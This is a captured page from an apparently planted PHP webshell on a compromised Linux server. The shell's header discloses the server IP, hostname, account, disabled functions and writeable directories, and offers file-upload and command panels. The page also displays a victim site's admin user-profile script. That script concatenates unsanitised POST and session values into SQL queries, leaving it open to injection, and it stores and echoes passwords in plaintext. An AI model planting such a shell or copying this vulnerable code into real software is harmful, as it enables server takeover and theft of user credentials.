403Webshell
Server IP : 27.254.152.13  /  Your IP : 216.73.217.38
Web Server : Apache/2
System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64
User : coloflew ( 1072)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coloflew/public_html/administrator/modules/setting/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/coloflew/public_html/administrator/modules/setting/userprofile.php
<?php 


$res = 0;
$linkurl = "index.php?name=setting&file=userprofile";
$tableName = "userlogin";

if(@$_GET['act']=="editdata"){
	$arrData = array();
	$arrData['Username']		= $_POST['usernames'];
	$arrData['Password']		= ($_POST['old_pass'] != $_POST['passwords'] && $_POST['passwords'] ? $_POST['passwords'] : $_POST['old_pass']);
	$arrData['Name']			= str_replace("'", "\'", @$_REQUEST['Name']);
	$arrData['Surname']			= str_replace("'", "\'", @$_REQUEST['Surname']);
	$arrData['Email']			= $_POST['Email'];
	
	//echo "<pre>"; print_r($arrData); exit();

	$db->updateData($tableName,$arrData,"EmpID='".$_POST['EmpID']."'");
	
	//exit;
	$msg = $lang_set['txtEditComplete'];
	$res = 1;

}

$arrRes = $db->getOne($tableName,"*","EmpID='".@$_SESSION['userid']."' ");

?>
<!--colorbox popup-->

<div class="content-box"><!-- Start Content Box -->
	<div class="content-box-header">
        <h3><?php echo $lang_set['userprofiletitle']; ?></h3>
        <ul class="content-box-tabs">
            <li><a href="#tab1" <?php echo ($_GET['act']=="" ? 'class="default-tab"' : "" );?>><?php echo $lang_set['list_page']; ?></a></li>
      </ul>
        <div class="clear"></div>
	</div> <!-- End .content-box-header -->
        <div class="content-box-content">
            <div class="tab-content <?php echo ($_GET['act']!="edit" ? "default-tab" : "" );?>" id="tab1"> <!-- This is the target div. id must match the href of this div's tab -->
            <?php if($res==1){?>
                <div class="notification success png_bg">
					<a href="#" class="close"><img src="images/icons/cross_grey_small.png" title="Close this notification" alt="close" /></a>
					<div>
					<?php echo $msg;?>
					</div>
				</div>
                <meta http-equiv="refresh" content="1;URL=<?php echo $linkurl;?>">
            <?php }?>
        
    <form action="<?php echo $linkurl;?>&act=editdata" method="post" enctype="multipart/form-data" id="formID" >
    <input type="hidden" name="EmpID" value="<?php echo $arrRes['EmpID']; ?>" />
        
    	<p>
			<label><?php echo $lang_set['txtName']; ?> :</label>
			<input type="text" class="validate[required] text-input medium-input" name="Name" id="Name" value="<?php echo @$arrRes['Name'];?>" /> 
		</p>
        <p>
           <label><?php echo $lang_set['txtEmail'];?> : </label>
           <input value="<?php echo $arrRes['Email'];?>" class="validate[required,custom[email]<?php echo ($_GET['act']=="edit" ? "" : ",ajax[ajaxUserCall]" );?>] text-input medium-input" type="text" name="Email" id="Email" />
        </p> 
        <p>
           <label><?php echo $lang_set['txtUsername'];?> : </label>
           <input value="<?php echo $arrRes['Username'];?>" class="validate[required,custom[onlyLetterSp]<?php echo ($_GET['act']=="edit" ? "" : ",ajax[ajaxNameCallPhp]" );?>] text-input medium-input" type="text" name="usernames" id="username" />
        </p> 
        <p>
           <label><?php echo $lang_set['txtPassword'];?> : </label>
           <input value="<?php echo $arrRes['Password'];?>"  class="<?php echo ($_GET['act']=="edit" ? "" : "validate[required]");?> text-input" type="password" name="passwords" id="password" />
           <input type="hidden" name="old_pass" value="<?php echo $arrRes['Password'];?>" />
        </p> 
        <p>
           <label><?php echo $lang_set['txtRePassword'];?> : </label>
           <input value="" class="validate[<?php echo ($_GET['act']=="edit" ? "" : "validate[required],");?>equals[password]] text-input" type="password" name="password2" id="password2"/>
        </p>   	

		<hr />
		<p>
				<input type="submit" class="button" value="<?php echo $lang_set['submit']; ?>" />
		</p>
	</form>
    </div> <!-- End #tab2 -->        
</div> <!-- End .content-box-content -->
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit